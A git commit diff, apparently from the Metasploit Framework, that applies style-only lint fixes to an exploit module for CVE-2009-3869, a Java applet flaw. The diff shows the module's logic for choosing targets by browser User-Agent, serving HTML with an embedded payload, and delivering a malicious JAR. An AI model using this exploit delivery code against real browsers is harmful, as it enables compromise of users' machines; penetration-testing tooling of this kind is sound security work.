Mass rubocop changes

This commit is contained in:
Spencer McIntyre
2025-12-17 17:11:13 -05:00
parent d4b196b309
commit 602adeb4c5
237 changed files with 4505 additions and 4446 deletions
@@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Payload' => {
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'DisableNops' => true
},
'Targets' => [
=begin
@@ -67,14 +67,14 @@ No automatic targetting for now ...
'J2SE 1.6_16 on Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Arch' => ARCH_PPC
}
],
[
'J2SE 1.6_16 on Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Arch' => ARCH_X86
}
],
],
@@ -98,14 +98,14 @@ No automatic targetting for now ...
if (target.name =~ /Automatic/)
case req.headers['User-Agent']
when /Windows/i
print_status("Choosing a Windows target")
@targetcache[cli.peerhost][:target] = self.targets[1]
print_status('Choosing a Windows target')
@targetcache[cli.peerhost][:target] = targets[1]
when /PPC Mac OS X/i
print_status("Choosing a Mac OS X PPC target")
@targetcache[cli.peerhost][:target] = self.targets[2]
print_status('Choosing a Mac OS X PPC target')
@targetcache[cli.peerhost][:target] = targets[2]
when /Intel Mac OS X/i
print_status("Choosing a Mac OS X x86 target")
@targetcache[cli.peerhost][:target] = self.targets[3]
print_status('Choosing a Mac OS X x86 target')
@targetcache[cli.peerhost][:target] = targets[3]
else
print_status("Unknown target for: #{req.headers['User-Agent']}")
end
@@ -122,17 +122,17 @@ No automatic targetting for now ...
rmq.each { |addr| @targetcache.delete(addr) }
# Request processing
if (not req.uri.match(/\.jar$/i))
if (!req.uri.match(/\.jar$/i))
# Redirect to the base directory so the applet code loads...
if (not req.uri.match(/\/$/))
print_status("Sending redirect so path ends with / ...")
send_redirect(cli, get_resource() + '/', '')
if (!req.uri.match(%r{/$}))
print_status('Sending redirect so path ends with / ...')
send_redirect(cli, get_resource + '/', '')
return
end
# Display the applet loading HTML
print_status("Sending HTML")
print_status('Sending HTML')
send_response_html(cli, generate_html(payload.encoded),
{
'Content-Type' => 'text/html',
@@ -142,7 +142,7 @@ No automatic targetting for now ...
end
# Send the actual applet over
print_status("Sending applet")
print_status('Sending applet')
send_response(cli, generate_applet(cli, req),
{
'Content-Type' => 'application/octet-stream',
@@ -168,12 +168,12 @@ No automatic targetting for now ...
</html>
EOF
# finalize html
jar_name = rand_text_alphanumeric(32) + ".jar"
jar_name = rand_text_alphanumeric(32) + '.jar'
html.gsub!(/JARNAME/, jar_name)
# put payload into html
debug_payload = false
pload = ""
pload = ''
pload << "\xcc" if debug_payload
pload << pl
if ((pload.length % 4) > 0)
@@ -193,24 +193,23 @@ No automatic targetting for now ...
end
def exploit
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2009-3869.jar")
fd = File.open(path, "rb")
path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3869.jar')
fd = File.open(path, 'rb')
@jar_data = fd.read(fd.stat.size)
fd.close
super
end
def generate_applet(cli, req)
this_target = nil
def generate_applet(cli, _req)
if (target.name =~ /Automatic/)
if (@targetcache[cli.peerhost][:target])
this_target = @targetcache[cli.peerhost][:target]
@targetcache[cli.peerhost][:target]
else
return ''
end
else
this_target = target
target
end
return @jar_data